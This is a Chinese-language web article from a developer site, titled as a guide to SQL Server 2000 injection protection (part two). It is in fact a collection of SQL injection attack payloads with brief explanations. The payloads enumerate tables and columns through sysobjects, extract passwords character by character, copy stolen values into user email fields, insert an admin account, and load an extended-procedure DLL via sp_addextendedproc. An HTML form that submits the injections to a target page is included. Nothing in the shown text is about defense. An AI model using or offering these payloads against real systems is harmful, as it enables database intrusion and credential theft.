SQL Server 2000 注入防护大全(二) -张志
Access软件网QQ交流学习群(群号码198465573),欢迎您的加入!
首页 >技术文章> ADP及SQL SERVER


SQL Server 2000 注入防护大全(二)

发表时间:2006/9/7 评论(0) 浏览(5350)  评论 | 加入收藏 | 复制
   
摘 要:SQL Server 2000 注入防护大全(二) 
正 文:
传统查询构造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--

  说明:
  上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
  通过查看ffff的用户资料可得第一个用表叫ad
  然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--

  象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2)
where name='ffff';--

ffff';update [users] set email=(select top 1 name from password where id=2)
where name='ffff';--

exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'

  扩展存储就可以通过一般的方法调用:
exec xp_webserver

  一旦这个扩展存储执行过,可以这样删除它:
sp_dropextendedproc 'xp_webserver'

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+
char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-

insert into users values( 667,123,123,0xffff)-

insert into users values ( 123, 'admin''--', 'password', 0xffff)-

;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库

  通常注射的一些介绍:
  A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
  select * from 表名 where 字段=49
  注入的参数为ID=49 And [查询条件],即是生成语句:
  select * from 表名 where 字段=49 And [查询条件]

  (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
  select * from 表名 where 字段='连续剧'
  注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:
  select * from 表名 where 字段='连续剧' and [查询条件] and ''=''

  (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
  select * from 表名 where 字段like '%关键字%'
  注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:
  select * from 表名 where字段like '%' and [查询条件] and '%'='%'
  ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
  sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。

  ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
  从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

  post.htm内容:主要是方便输入。


<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>

  枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

  这是将第一个表名更新到aaa的字段处。

  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--

  

Access软件网交流QQ群(群号:198465573)
 
 相关文章
利用instr()函数防止SQL注入攻击   【UMVsoft整理  2006/7/20】
SQL Server 2000 注入防护大全(一)   【UMVsoft整理  2006/9/7】
详解SQL注入方法  【jimcloudy整理  2007/11/17】
从手工注入看防御之access  【umvsoft整理  2008/7/30】
安全攻略access篇:从手工注入看防御  【刘震宇  2009/8/19】
常见问答
技术分类
相关资源
文章搜索
关于作者

张志

文章分类

文章存档

友情链接